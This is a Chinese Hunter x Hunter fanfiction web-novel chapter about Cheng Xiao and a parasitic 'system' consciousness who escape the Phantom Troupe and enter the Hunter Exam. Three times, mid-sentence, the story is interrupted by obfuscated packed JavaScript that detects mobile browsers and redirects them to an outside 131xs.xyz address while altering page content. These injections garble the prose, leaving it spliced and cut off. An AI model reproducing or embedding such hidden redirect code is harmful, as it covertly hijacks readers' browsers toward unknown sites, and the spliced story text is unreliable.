“哈哈哈——!”程笑像是溺水的人重回水面般大口喘了口气,随即爆发出劫后余生般的、甚至有些夸张的笑声。他仿佛完全没意识到刚才发生了什么,或者选择性地忽略了那段记忆。他眼睛一亮,极其自然且热络地就伸手勾住了库洛洛的肩膀,动作快得几乎像是另一种形式的偷袭。 “哎呀呀!库洛洛团长!我就知道您是有眼光、有远见的人!”他一边说着,一边极其自然地从口袋里掏出那枚水琉璃耳环,仿佛那不是偷来的,而是他准备已久的礼物般,亲手小心翼翼地将其戴回库洛洛的耳垂上。动作熟练得仿佛练习过无数次。 “这下好了!”程笑笑得见牙不见眼,语气充满了毫无根据的熟稔和得意,“从现在起咱们就是自己人了!对了对了,我记得旅团有条规矩,团员之间不能相互内斗,对吧?这真是太好了!多么明智的规定啊!” 他的话语密集得像豆子一样噼里啪啦砸下来,带着一种让人不适的过度热情和自来熟。 库洛洛脸上的微笑没有丝毫变化,但那双深黑色的眼睛里已经迅速凝结起一层冰冷的、毫不掩饰的嫌弃。在程笑试图更进一步勾肩搭背的瞬间,他抬起手,用一根手指极其嫌弃地、却又带着不容抗拒的力量,将程笑从自己身上推开了。 指尖甚至轻轻弹了弹刚才被触碰到的衣领,仿佛沾上了什么不洁的东西。 这一刻,看着眼前这个瞬间恢复疯癫、聒噪且毫无边界感的“新晋临时团员”,库洛洛·鲁西鲁的内心,罕见地、清晰地浮现出一丝名为后悔的情绪。 这个决定,或许做得有点草率了。 库洛洛丝毫没有给程笑继续喋喋不休的机会,仿佛拎一只吵闹的猫崽般,直接揪住他的后领,身影几个起落便消失在垃圾山的阴影中,速度快得让程笑还没来得及抗议就灌了一嘴的风。 幻影旅团临时基地——某个废弃的地下掩体 程笑被不算温柔地扔在了基地中央略显空旷的地面上。他揉着脖子咳嗽了两声,还没来得及打量四周,就感觉到数道目光如同实质般落在他身上,冰冷、审视、好奇、漠然……夹杂着毫不掩饰的念压,让空气都变得粘稠而危险。 库洛洛步履从容地走到主位坐下,仿佛只是随手带回来一件东西,语气平淡地宣布:“新人。临时团员。” 言简意赅,没有多余的解释。 一瞬间,基地里那稀松懒散的气氛变了。 “哦呀?”一个带着笑意的声音第一个响起,西索不知何时已经坐在了一根横梁上,纸牌在指尖翻转,金色的瞳孔眯起,充满了发现新玩具的兴味,“??~这就是库洛洛特意带回来的小苹果吗?看起来……青涩得很呢~??” 那目光仿佛在评估从哪里下刀比较有趣。 “切,又来个麻烦的小鬼。”窝金粗声粗气地哼了一声,抱臂靠在墙边,显然对程笑这副看起来并不强壮的身板毫无兴趣。 信长的手按在刀柄上,懒洋洋地掀了掀眼皮:“喂,库洛洛,这家伙有什么特别的?值得你亲自带回来?”语气里带着惯有的不耐烦。 玛奇冰冷的视线扫过程笑,言简意赅地判断:“很弱。但感觉……有点奇怪。”她的直觉总是精准得可怕。 飞坦发出一声意味不明的冷哼,兜帽下的目光锐利如刀,似乎已经在思考刑讯的可能性。 富兰克林沉默地看着,如同沉稳的山岳。小滴则推了推眼镜,好奇地问:“他是谁?啊,我又忘了吗?”派克诺坦站在库洛洛身侧,目光中带着警惕与询问。 程笑感受着这几乎要把他扒掉一层皮的集体注视,非但没有害怕,反而像是站上了舞台中央的演员,眼睛唰地亮了。他脸上瞬间堆起那副招牌的、略带神经质的灿烂笑容,非常自来熟地挥手打招呼: “各位大佬晚上好!小弟程笑,初来乍到,以后请多多指教!顺便问一下,咱们团购有优惠吗?就是那种……一起干掉目标能不能打个折或者积分翻倍之类的?” 全体蜘蛛:“???” 库洛洛端起派克递过来的水杯,面无表情地喝了一口。 (后悔值+1) 在程笑那句石破天惊的“团购优惠”论之后,基地内出现了片刻诡异的寂静。 西索发出了一个极其愉悦的、扭曲的气音,仿佛看到了世界上最有趣的戏码。窝金和信长的脸上写满了“这傻子在说什么鬼话”。飞坦的杀气几乎凝成实质。玛奇微微蹙眉,似乎那“奇怪”的感觉更强烈了。 就在气氛变得更加不可控之前,库洛洛放下了水杯,发出轻微的磕碰声。 他站起身,目光平静地扫过程笑,语气不容置疑:“你,跟我来。” 没有给程笑任何发表意见的机会,也没有向其他团员解释,库洛洛径直朝着基地深处某个通道走去。程笑眨了眨眼,在“继续逗大家玩”和“跟上大佬脚步”之间果断选择了后者,屁颠屁颠地跟了上去,还回头朝大厅里的蜘蛛们挥了挥手,换来飞坦一个更冷的眼刀。 库洛洛的房间 房间如其人,简洁、整齐、冰冷,几乎没有任何个人情感的痕迹,只有大量的书籍和一台电脑显示出主人汲取信息的偏好。 库洛洛关上门,隔绝了外界所有的视线和声音。他走到书桌后坐下,双手交叠置于桌上,恢复了那种绝对冷静的掌控者姿态。 “现在,”他开口,目光如同手术刀般精准地落在程笑身上,仿佛要将他从里到外剖析一遍,“我们来详细谈谈你之前提到的‘计划’。” 他刻意加重了“你”这个字眼,暗示他已经清楚地将“之前那个提出计划的存在”和“眼前这个疯癫的家伙”区分开来。 “关于港口和工厂的整合,具体的实施步骤、可能遇到的阻力、以及你所谓的‘与外部商会洽谈’的具体操作方案。”库洛洛的问题一个接一个,逻辑清晰,直指核心,“我需要细节,而不是一个空泛的概念。” 程笑感受到库洛洛那不容置疑的、要求细节的审视目光,立刻非常光棍地在心里双手一摊。 得,大佬要聊专业内容,舞台交给你了系统! 他毫不扭捏,意识如同谢幕的演员般干脆利落地向后退去,将身体的“舞台”彻底让出。 库洛洛清晰地看到,眼前的人脸上那副玩世不恭的笑容如同潮水般褪去,所有鲜活(神经质)的表情瞬间被剥离,只剩下绝对的平静。甚至那双深黑色的瞳孔,在眨眼的瞬间,仿佛掠过一丝幽邃的紫色光泽,眼神变得如同古井深潭,不起波澜,却深不见底。 “……”“系统”操控下的程笑沉默了片刻,似乎在进行某种内部的校准或评估。他开口,声音平稳得没有一丝起伏,却说出了一句极其突兀且信息量巨大的话: “…我已经,‘脱离’了太久了。” 他仿佛在陈述一个客观事实,完全没考虑这句话对于听众而言有多么难以理解。 “…我需要信息,目前的,最新的信息。关于一切。”他补充道,目光平静地看向库洛洛,那眼神像是在看一个……移动数据库? 库洛洛眼底的兴味骤然变得更加浓郁。这种非人的、跳跃的、充满未知谜团的交流方式,非但没有让他困惑,反而精准地搔到了他求知欲和收集癖的最痒处。他几乎是不假思索地,就接上了这诡异的脑回路,仿佛在进行一场加密对话: “可以。”库洛洛微笑着,身体微微前倾,展现出一种配合的姿态,但问题却如同精准的探针,“‘久’到……需要寄生在这样一个‘疯子’身上,才能重新接入这个世界?” 他的语气温和,却一针见血地将“程笑”定性为“疯子”,并将系统的状态定义为“寄生”和“需要接入”,试图从对方的反应中套取更多关于其本质的信息。 “……”系统没有反驳。他只是用那双深紫色的瞳孔沉默地回视着库洛洛,试图以这种无言的姿态结束这个越发危险的对话——他清晰地意识到,程笑作为“观众”正在意识层面实时观察着这一切,任何过多的透露都可能引来不必要的麻烦。 然而,库洛洛显然不打算让这个话题就此搁置。他维持着那副从容的、甚至带点玩味的姿态,目光却如同最精准的探针,牢牢锁定着系统控制的程笑,施加着无声却巨大的压力。那眼神明确地传达着一个信息:不得到某种形式的回应,绝不会罢休。 空气仿佛凝滞,只剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“!?”系统在接触的瞬间立刻意识到了不对!派克诺坦并非简单的递交资料! 它立刻试图切断连接,将身体控制权交还给程笑,但已经太迟了。派克诺坦的能力已经发动。 在极其短暂的接触中,派克诺坦的确捕捉到了几块属于“系统”本身的记忆碎片——那是一种非人的、冰冷而奇异的视角:短暂地依附于某种多节肢生物在潮湿土壤中穿行的触感、通过复眼看到的破碎重叠的世界影像、还有作为某种飞行生物掠过天空时感受到的气流变化…… 然而,由于系统脱离得极其迅速,派克诺坦不可避免地也读取到了大量随之涌来的、属于程笑本人的记忆—— 那是光怪陆离、聒噪无比的思维风暴:对库洛洛外貌“人模狗样”的内心惊呼、对旅团各位成员危险程度的快速打分吐槽、关于“七大美色能不能涮火锅”的荒谬联想、以及一种“系统救命这剧本不对啊”的强烈依赖感……混乱、跳跃,充满了毫无意义的情绪和不着边际的脑洞,对人类而言堪称精神污染。 派克诺坦猛地松开了手。她冷艳的脸上先是闪过一丝对那非人记忆的错愕,随即被更强烈的嫌弃所覆盖。她甚至下意识地用另一只手轻轻拂过刚才接触的手指,仿佛刚才读取到的那些混沌庞杂的记忆,尤其是后者,是一种需要被物理擦除的严重污染。 她看向刚刚回过神来、一脸懵懂的程笑的眼神,充满了毫不掩饰的厌恶,就像在看一团不可回收的有害垃圾。 程笑:“……???”他完全搞不清状况,只感觉派克看自己的眼神像是自己刚在她脑子里跳了一支脱衣舞。 库洛洛愉悦的声音在一旁响起,带着一种优雅的残忍:“他(指程笑本人)对旅团的了解如此深入,而你……”他的目光落在系统刚才操控的身体上,虽然此刻已是程笑主导,但他意指的显然是那个冷静的存在,“却似乎对此一无所知。看来你们之间的知识和记忆,并非天然共享。” 他微笑着,做出了更精准的推断:“有趣。一个是拥有‘知识’却无力实现的载体,一个是拥有‘能力’却缺乏信息的寄生意识。是只有‘主动接管’时,才能有限度地支配‘知识’吗?真是奇妙的共生关系。” 程笑听到库洛洛的话,心里咯噔一下:完蛋!老底被掀了?! 库洛洛轻笑一声,显然对这次试探的结果非常满意。他不仅验证了双重意识的存在,还大致摸清了两者关系的本质。 收获颇丰。 5. 为了不在蜘蛛窝当黑奴,只好参加猎人考试了! 程笑几乎是被派克诺坦用冰冷的眼神“请”出了库洛洛的房间。玛奇不知何时已无声地等在门外,她没什么表情地看了程笑一眼,简短地说了句“跟我来”,便将他引到了基地内一个偏僻角落的小房间前,随即转身离开,多余的一个字都没有。 程笑摸着鼻子走进这间堪称家徒四壁的临时住所,立刻在脑海里疯狂戳起了那个装死的系统: 喂喂喂!系统!系统大哥!别装死啊!刚才怎么回事?派克那眼神像是要杀了我!你到底让她看到什么了?!还有库洛洛那家伙,他是不是什么都知道了?!我们现在算不算羊入虎口了?要不要连夜跑路?你现在能规划出一条避开所有蜘蛛的逃生路线吗?喂——! 他的意识里一片死寂,系统仿佛彻底断联了一般。 --- 另一边,库洛洛的房间内 “读到了什么?”库洛洛看向派克诺坦,语气平静,但眼中闪烁着求知的光芒。 派克微微蹙眉,似乎在努力组织语言来描述那异常的感受:“很奇怪……一开始的视角非常低矮,几乎是紧贴着地面移动,感知到的世界冰冷而狭窄……我一度以为他的念能力与土壤或潜行有关。” 她顿了顿,继续道:“但之后的片段又截然不同……变成了从极高处俯瞰的视野,能感受到气流的剧烈波动,看到的景物广阔但模糊……” “就像……”“就像……” 两人的声音几乎同时响起,不谋而合地得出了同一个结论: ““我”是动物。” 库洛洛双手交叠,指尖轻抵下巴,陷入了短暂的思考。“很奇妙的记忆体验。”他评价道,语气中带着浓厚的兴趣,“怪不得他说‘这并非我能选择的’。看来在成功寄生到人类身上之前,它经历过一段漫长而被迫的、依附于低等生物的混沌时期。” “可是,”派克提出疑问,“既然‘寄生’对象似乎是随机的,难道它不能自主选择‘退出’吗?它既然能影响人类(程笑)的行为,想必也应该能影响动物才对?” “……不。”库洛洛略微沉吟,便否认了这个猜想,他的思维速度极快,“如果它从一开始就具备‘影响’甚至‘控制’宿主的能力,它根本不会允许程笑以那种方式出现在我面前——那无异于自杀。” 他抬起眼,目光锐利,做出了最终的推断:“唯一的解释是——它的‘接管’需要满足一个苛刻的前置条件:必须得到宿主自身的‘应允’或‘主动放弃抵抗’。” “低等动物缺乏高级意识,无法进行交流,自然也就不存在‘应允’的条件。因此,它只能被动地跟随那些生物的本能行动,无法干预,也无法脱离,直到宿主死亡或它偶然遇到下一个……能够‘同意’它存在的载体。”库洛洛的嘴角勾起一丝弧度,“而程笑,显然就是那个特殊的、能够与它‘交流’并‘同意’它接管的宿主。这或许就是他们共生关系的基石。” 派克诺坦了然,库洛洛的分析几乎完美地解释了那奇异记忆碎片背后的逻辑。 对“规则”的洞察力……一如既往地可怕。派克在心中想道。 (意识深处) 系统“看”着程笑手中捏着的、象征着库洛洛“慷慨”赠与的厚重资料,其核心逻辑瞬间推演出了接受之后的未来图景: 无尽的指令,无尽的数据处理,永无止境地证明自身价值以换取生存权和更多信息……这幅画面触发了某种深层的、几乎被遗忘的应激回路。一些破碎的、令人不适的感知碎片不受控制地翻涌上来——冰冷的棕色办公桌沿、提神饮料的苦涩味道、永不间断的通讯请求的嗡鸣…… 这些来自遥远过去的、属于某个个体的记忆碎片,如同潮水般试图冲破封锁,但最终只化为一阵尖锐的、仿佛要刺穿颅骨的剧烈刺痛,像一台信号极差、只能接收断续画面的坏掉收音机,迅速归于沉寂。 这剧烈的负面反馈强化了它的判断。 “跑。”系统的声音在程笑的意识深处响起,冰冷、急促,不容置疑,“就现在。” 它的逻辑清晰无比:库洛洛的“观察”和“利用”只会随着时间推移而层层加码,监视网络将愈发严密。此刻,对方刚达成初步试探,尚未部署全方位监控,正是警惕性相对最低的窗口期。 几乎是发出指令的同时,系统已将刚才跟随玛奇走来时,通过程笑双眼捕捉到的有限环境信息(通道的走向、气流的微弱变化、远处传来的微弱噪音类型、建筑材料的细微差别)进行了超高速处理。 当前位于基地东南侧,废弃地下管网第三层级。上方西北方向约17米处存在旧通风井道,入口隐蔽,但足以容纳一人通过。井道内壁锈蚀严重,可供抓握和踩踏的点位稀少且脆弱,对身体的平衡性、精准度和绝对力量要求极高。 路线规划完毕。成功率78.3%。需全程保持极限操作。 一条极其危险、几乎是为“系统”亲自操控下的、经过揍敌客基础训练和它数月夜间加练后的身体素质量身定制的逃生路线,已被瞬间规划完成。 “机会只有一次。路线已掌握。身体交给我。” ————— 库洛洛坐在椅上,指尖轻抵下巴,方才那近乎完美的推理带来的智性愉悦感尚未完全消退。他对自己新“得到”的这个奇特共生体——尤其是那个冷静的、似乎蕴藏着庞大计算力的意识——感到十分满意。这确实称得上是一件意想不到的、有价值的“藏品”。 带着一丝检验成果和观察“工具”初期工作状态的心情,他优雅地展开了自己的“圆”,细腻的念波如水银泻地般悄然向程笑所在的房间蔓延而去,准备感知一下那位“智将”是否已开始高效地处理信息。 然而—— 念波所及之处,那个房间里……空无一物。 并非物理上的空荡,而是……生命气息的彻底消失。 库洛洛脸上那丝智珠在握的从容笑意瞬间凝固。 下一秒,他猛地从椅子上站了起来,动作快得甚至带起了一阵风!周身温和的气质骤然被一种冰冷的、极具压迫感的锐利所取代。 这突如其来的剧烈反应将正准备转身离开的派克诺坦吓了一跳,她瞬间进入戒备状态,惊疑地看向团长。 库洛洛没有看她,他的目光仿佛已经穿透了层层墙壁,锁定了某个正在急速远遁的身影,声音冷冽如冰,带着一丝几乎无法察觉的、被打乱了完美计划的愠怒: “人跑了。” 他顿了顿,每一个字都像是从冰水里捞出来的: “追。” —————— “噗——哈!”程笑费力地将最后一块生锈的金属栅格推开,像只脱力的鼬鼠一样,从狭窄逼仄的通风管道里艰难地爬了出来。他瘫在冰冷的地面上,贪婪地大口呼吸着室外冰冷的、混杂着垃圾与铁锈味的“新鲜”空气。 “系统!真有你的!”他一边喘着粗气,一边在脑海里兴奋地嚷嚷,“刚才那个横跨!下面可是几十米的悬空啊!就靠那么一根锈得快断了的钢筋?我的天!我觉得我的心脏都快跳出来了!要不是你操控,我早就掉下去碎成八块了!酷毙了!” 他完全沉浸在劫后余生的兴奋和系统刚才那番行云流水、堪称玩命的极限操作中。 “好了。”系统冰冷的声音打断了他的喋喋不休,那语调里带着一种近乎心累的疲惫感,仿佛刚才那番精密而耗神的操作耗尽了它的能量,“库洛洛的‘圆’很快就会发现房间已空。不要松懈,追踪随时可能开始。” 程笑的兴奋笑容瞬间僵在脸上。 “哈?!”他猛地坐起身,声音里充满了难以置信,“我们都跑出这么远了?这都不算结束吗?!这鬼地方跟迷宫一样!” 系统沉默了一瞬,似乎在评估当前状况和宿主的天真程度,最终,它用一种陈述最终判决般的平静口吻回答道: “这只是开始。” ———一间烟雾缭绕、设备破旧的流星街地下网吧———— 程笑皱着眉,手指在油腻的键盘上笨拙地敲击着,屏幕的光芒映在他脸上。 “系统,你确定我们要报名这个‘肯特市遗迹寻宝’活动?”他一边在活动官网下翻着,嘴里一边喋喋不休,“虽然我承认我现在实力确实不错了(一种莫名其妙的自信),但这种听起来就很麻烦的团队项目……诶?!等等!” 他的话音戛然而止,鼠标滚动的声音也停了。屏幕上一个并不起眼的链接吸引了他全部的注意力—— “第287期猎人试验报名流程与注意事项” 正是小杰、奇犽他们参加的那一届。 程笑的眼睛瞬间瞪大了,呼吸都漏了一拍。 与此同时,系统的声音在他脑海中响起,它显然没有察觉到程笑这片刻的异常,依旧基于纯粹的理性逻辑进行分析: “根据计算,未来三个月将是幻影旅团追踪力度最强的时期。单独流亡的风险系数过高。参与此类由正规机构组织、具备一定门槛和实力要求、且以团队形式进行的官方项目,是目前的最优选择。” 系统的声音平稳无波,像是在陈述一条物理定律: “一旦遭遇蜘蛛的追击,混乱的团队环境和官方背景本身可以形成一定阻碍。更重要的是,强大的临时‘队友’在理论上存在被利用为‘缓冲’或‘掩护’单位的概率,能极大概率 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526535|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提升你的生存几率。” 然而,程笑压根没仔细听系统后面那套冷酷的“队友利用论”。他的全部心神都被屏幕上“猎人试验”那几个字牢牢吸住了! “猎人考试!是猎人考试啊系统!”他像个突然发现宝藏图的孩子,几乎要在破旧的电脑椅上手舞足蹈起来,声音里充满了难以抑制的兴奋,直接在脑海里嚷嚷起来:“还参加什么寻宝啊!就这个!报名!必须报名!” 他甚至不等系统回应,就迫不及待地开始罗列理由,语速快得像是在发射连环炮: “你看啊!你要求的‘有实力的正规官方项目’,还有比猎人协会更正规、门槛更高的吗?死了都没人在乎的高门槛!” “人多?考试现场人绝对够多!正规?这简直是全世界最正规的资格考试之一了!” “而且整个考试过程几乎都是在协会掌控下的各种奇葩场地里进行的,如此封闭的场地,简直完美符合你的所有要求!” 这一连串理由,逻辑清晰,角度刁钻,竟然完美地契合了系统提出的所有筛选条件,充分到令人无从反驳。 系统沉默着。它的核心逻辑无法理解程笑此刻近乎狂热的情绪波动,但那严丝合缝的逻辑链让它无法找到反对的基点。基于纯粹的效益计算,猎人考试确实似乎是比“遗迹寻宝”更优的选择。 “……可以。”系统最终妥协了,尽管那平静的电子音下或许隐藏着一丝无法被察觉的疑虑。 Yes! 程笑内心爆发出巨大的欢呼,脸上努力维持着“我只是做出了最理性选择”的表情,手指颤抖着(这次是兴奋的)点开了报名链接。熟知剧情的他,只感觉天上掉下了一个巨大无比的馅饼,不偏不倚正好砸在他头上! 他已经迫不及待地想看到那些经典场面真实地在自己眼前上演了!天空竞技场!揍敌客老家!友克鑫拍卖会!(他甚至开始想得更远了) 而如果系统知道这场看似“完美”的考试里,会出现西索·莫罗和伊尔迷·揍敌客这种极度危险、且与幻影旅团存在千丝万缕联系的人物…… 它绝对会毫不犹豫地动用一切资源,哪怕是把程笑打晕在网吧门口,也绝不会允许他提交那份报名表。 可惜,它不知道。 (场景:萨巴市,考试入口) 程笑迈入那家外观毫不起眼的餐馆,心脏在胸腔里擂鼓般狂跳,几乎要撞破肋骨。这并非恐惧,而是一种近乎病态的、沸腾的激动。他终于站到了这里,站到了传奇开始的地方! 与之截然相反的,是他脑中的系统。它正陷入前所未有的逻辑困惑之中。 几天前,程笑在没有任何外部信息输入的情况下,如同梦游般,无比笃定地买了一张前往萨巴市的船票。上岸后,更是目标明确、脚步轻快地穿梭于街道,最终无比自然地走进了这家看起来平平无奇的餐馆。 然后,在系统的内心浮现出一堆“???”的乱码中,程笑对着那位擦着杯子的老板,露出一个灿烂到有些诡异的笑容,说出了一句它完全无法解析其必要性的“暗语”: “老板,来一份特制烤猪排,不要猪排,多加酱汁,酱汁要……嗯,像尼托洛米湖水的颜色一样深。” 系统:“???”(逻辑模块无法将食物订单与地理特征建立有效关联。建议检查宿主听觉/视觉是否故障。) 店老板擦拭杯子的动作停顿了一下,眼中闪过一丝与系统如出一辙的疑惑,但他打量了一下程笑那副“你懂的”的兴奋表情,最终还是点了点头,示意他跟着一名侍者走向后厨。 穿过暗门,进入通往地下的电梯时,系统监测到程笑的肾上腺素水平飙升到了一个危险值,而他的嘴角却咧开了一个近乎撕裂的、满足的笑容。 他们成功进入了考试预备会场,并拿到了一个号码牌——406号。 看来这个宿主对于这个世界的了解,其广度和深度都远超最初的预估,绝不仅仅局限于“幻影旅团”。系统冷静地更新着对程笑的评估报告。 或许……他对于这场名为“猎人试验”的活动,早已做好了万全的信息准备,甚至一切尽在掌握。这样看来,在接下来这段未知的旅程中,我的介入压力或许能减轻不少。可以进入低功耗观测模式,优先进行信息收集。 系统基于现有数据,得出了一个看似极其合理的推论,并相应地调整了自身的任务优先级。它那绝对理性的大脑,暂时无法理解一种叫做“剧透”的、完全不讲道理的存在。 它并不知道,它所以为的“万全准备”和“尽在掌握”,其本质是一个疯子在满怀期待地奔向一个他知道必定会爆炸的炸药桶,只为了看那烟花究竟有多绚烂。 6. 跟着这样的宿主真的是件很绝望的事情 猎人试验等候大厅,人声鼎沸 系统刚刚完成了一次愉快的谋算计划。基于宿主程笑此前展现出的、对“猎人试验”入口及规则的惊人“预知”,它得出了一个让它倍感轻松的结论: 程笑对该环境拥有极高的信息掌控度。应对当前场景,其自主行动模式效率可能高于我的频繁介入。建议:降低主动监控优先级,转入背景信息收集与潜在威胁基础扫描模式。资源分配向长期战略分析倾斜。 简而言之:既然宿主看似心中有数,或许我能暂歇片刻。 这个念头刚刚落定—— 下一秒! 只见程笑像是被某种无形的弹弓发射出去一样,或者说,像是嗅到了血腥味的鲨鱼,目光死死锁定了一个方向,脚下猛地发力,整个人不管不顾地、以一种近乎自杀式的姿态,直直地朝着人群中一个身材高挑、穿着小丑服、正在搭扑克塔的红发男人撞了过去! “砰!” 力道之大,不仅瞬间撞塌了那精巧的扑克塔,五彩的纸牌哗啦啦散落一地,他自己也因这巨大的反作用力踉跄着向后倒去,差点一屁股坐在地上。 整个喧闹的大厅似乎以撞击点为中心,瞬间安静了一小片。无数道目光聚焦过来。 被撞的那个男人——西索——缓缓转过头。他看着散落一地的扑克,又看了看眼前这个眼神狂乱、行为莫名其妙的少年,那双金色的瞳孔微微眯起,狭长的眼睛里闪过一丝被打扰的不悦,随即迅速被一种看待无知蠢货的、冰冷的残忍所取代。 一股几乎令人窒息的杀气如同实质般压向程笑!西索的手指微动,一张扑克牌如同毒蛇的信子般悄然滑入指尖——按照他一贯的风格,这个不知死活的小鬼,至少需要付出一条手臂的代价,作为打扰他兴致和弄塌他作品的赔偿。 在程笑的脑海里,一片绝对的死寂。 系统:“……” 如果系统有心脏,大概此刻已经停跳了。如果系统有嘴,大概会发出一声长长的、充满绝望的悲鸣。 一股极其危险的感应如同冰锥般刺入“系统”的感知!它虽与西索毫无交集,但那份几乎凝成实质的、扭曲而强大的“念”,以及其中毫不掩饰的残忍意图,让它瞬间意识到了极致的危险! 不好! 它几乎是本能地试图催动力量,预备好接管身体规避,但一切发生得太快!西索指尖寒光一闪,那张扑克牌已然就位——按照这气息判断,绝不仅仅是教训那么简单! 来不及了!怎么办?! 强烈的焦灼感扼住了它,它发现自己根本没有任何应对此人的经验或策略!就在它几乎要不顾一切做出某种极可能暴露自身的举动时—— 程笑却仿佛完全感受不到那致命的威胁,他甚至猛地站稳了身体,抬手抹了一下并不存在的鼻血,那双因为极度兴奋而缩小的瞳孔直勾勾地盯着的西索,脸上绽开一个混合着疯狂、渴望和纯粹快乐的、极其扭曲的笑容,用一种近乎嘶哑的、却清晰到足以让周围所有人都听见的声音喊道: “和我打一架吧!西索!就在这里!现在!” 一瞬间,那几乎要撕裂空间的冰冷杀意……奇异地停滞了。 西索的动作顿住了。他眼中那看待死物的残忍光芒如同潮水般褪去,取而代之的是一种极其惊讶的、然后迅速转化为浓厚到化不开的探究和愉悦。 他上下打量着程笑,像是在评估一件突然变得有趣起来的玩具。那强烈的战斗渴望和纯粹的疯狂……虽然弱小,但味道似乎不错? “嗯哼~~~?”一个扭曲而愉悦的音节从西索喉咙里溢出。他手中的扑克牌无声地消失了。 “可以哦~~”他舔了舔嘴唇,笑容变得深邃而危险,“但是……??”他拖长了语调,金色的眼睛扫过周围密集的人群,“这里的观众……太多了点,而且剧情也还没到高潮部分呢~??” 他的目光重新回到程笑身上,仿佛已经在他身上打下了某个专属的标记。 “放心吧~~小苹果??”西索的声音带着一种令人毛骨悚然的期待,“既然你这么渴望……??我们有的是‘机会’和‘场地’……让你尽情地……‘打一架’~” 说完,他竟真的收敛了所有外放的杀气,仿佛什么都没发生过一样,哼着诡异的小调,转身慢悠悠地走开了。 危机……暂时解除了? 系统:“……………” 它所有的警报还在疯狂尖啸,所有的生存概率评估依旧无限接近于零。它完全无法理解刚才发生了什么。那致命的风险为何突然消散? 它只知道一件事:它之前那“一切尽在掌握”的推论,是一个巨大、荒谬、且致命的错误。 这不是什么心中有数。这根本就是在刀尖上跳踢踏舞,还顺便把刀柄递给了那个最危险的持刀人! 摸鱼计划彻底破产。从现在起,每一秒都将是最高级别的生存挑战。 ————场景:隧道出口——— 漫长的隧道长跑终于结束。程笑几乎是拖着两条麻木的腿挪出出口,然后像一袋被丢弃的垃圾般,直挺挺地倒在略显潮湿的草地上,胸膛剧烈起伏,大口贪婪地呼吸着室外冰冷的空气。 考试前半程,他确实隐约感觉到几道难以捉摸的视线落在自己身上——有的粘腻而充满玩味,像毒蛇的信子;有的冰冷空洞,仿佛来自深渊;还有的……纯粹而好奇,像林间的小兽。 是西索?伊尔迷?还是小杰和奇犽?或者干脆就是这诡异考试里某个普普通通的路人甲? 算了,无所谓了。 他现在累得连一根手指头都不想动,大脑像是被掏空的浆糊,所有的精力都在刚才那场痛苦的奔跑中被榨得一干二净。他甚至能感觉到不远处其他考生聚集起来,似乎发生了点什么骚动,隐约传来关于“考官是假的”的议论。 哦……是那个剧情啊…… 他迷迷糊糊地想了一下,随即放弃了。 懒得看了……爱谁谁吧……天塌下来也别叫我…… 呼吸渐渐从风箱般的急促转为略微平稳的喘息,然而身体越是放松,内心的后悔就越是汹涌地翻腾上来,几乎要把他淹没。 他抬起一只无力的手,搭在额头上,发出一声带着剧烈运动后沙哑的苦笑。 “早知道……就听系统的……好好训练了……”他望着灰蒙蒙的天空,喃喃自语,每一个字都透着肠子都快悔青了的懊恼,“这鬼地方……怎么……这么长啊……” 此刻,什么剧情,什么乐子,都比不上全身肌肉发出的哀嚎和肺部火辣辣的疼痛来得真实。他第一次如此深刻地体会到,在这个世界,没有实力,连当个合格的乐子人都没资格。 意识里短暂地安静了一瞬,随即响起一声极轻的、几不可闻的叹息。那声音里带着一种难以掩饰的疲惫,还有一种“果然如此”的无奈。 “……我就知道。” 系统的声音不再是最初那种纯粹的电子平稳,而是染上了一点属于“人”的无力感。 那口吻不像是个AI,更像是一个操碎了心的老友(或者倒霉的监护人),看着不成器的家伙临时抱佛脚结果还是考砸了,忍不住发出的、带着担忧和一丝“早跟你说过”的埋怨。 程笑:“……” 他喘气的声音一滞,莫名感到一阵心虚,仿佛真的看到了一个模糊的人影在他脑子里扶着额头,一脸“没眼看”的表情。 ……这种被老妈子念叨的感觉是怎么回事?! 考官萨茨显然没有等人彻底恢复体力的好心肠。上半程考试的规定时间一到,下半程的指令便毫无间隙地下达,活像催命的符咒。 程笑几乎是靠着求生本能从草地上挣扎起来的,每块肌肉都在发出凄厉的抗议。他一边踉跄地跟着大部队移动,一边却在心里默默地对那位刚刚被西索“处理”掉的假冒考官——那位打扮得像猴子的仁兄——生出一点不合时宜的感激。 多谢了啊,猴哥…… 他一边喘着粗气,一边在脑子里给那位用生命为自己争取了几分钟喘息时间的欺诈师默默划了个十字:虽然你也是个倒霉催的,但谢了。走好不送。 阿门,愿天堂没有扑克,也没有变态小丑。 这念头一闪而过,随即就被更剧烈的呼吸声和肌肉的酸痛感淹没了。他咬紧牙关,努力跟上前面考生的脚步,将所有的精力都用于对抗身体的极限。 这见鬼的泥沼地比隧道难走多了!隧道里至少还能借着蹬地的反作用力向前冲,这里的烂泥巴却像是有生命一样,贪婪地吸吮着每一分力气,每一步都拔得艰难无比。 程笑深一脚浅一脚地跋涉着,感觉自己的体力条在以肉眼可见的速度疯狂下跌。看着周围不时有考生触发陷阱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526536|186323||http|test|mini|href|location''.split(''|''),0,{})); () { 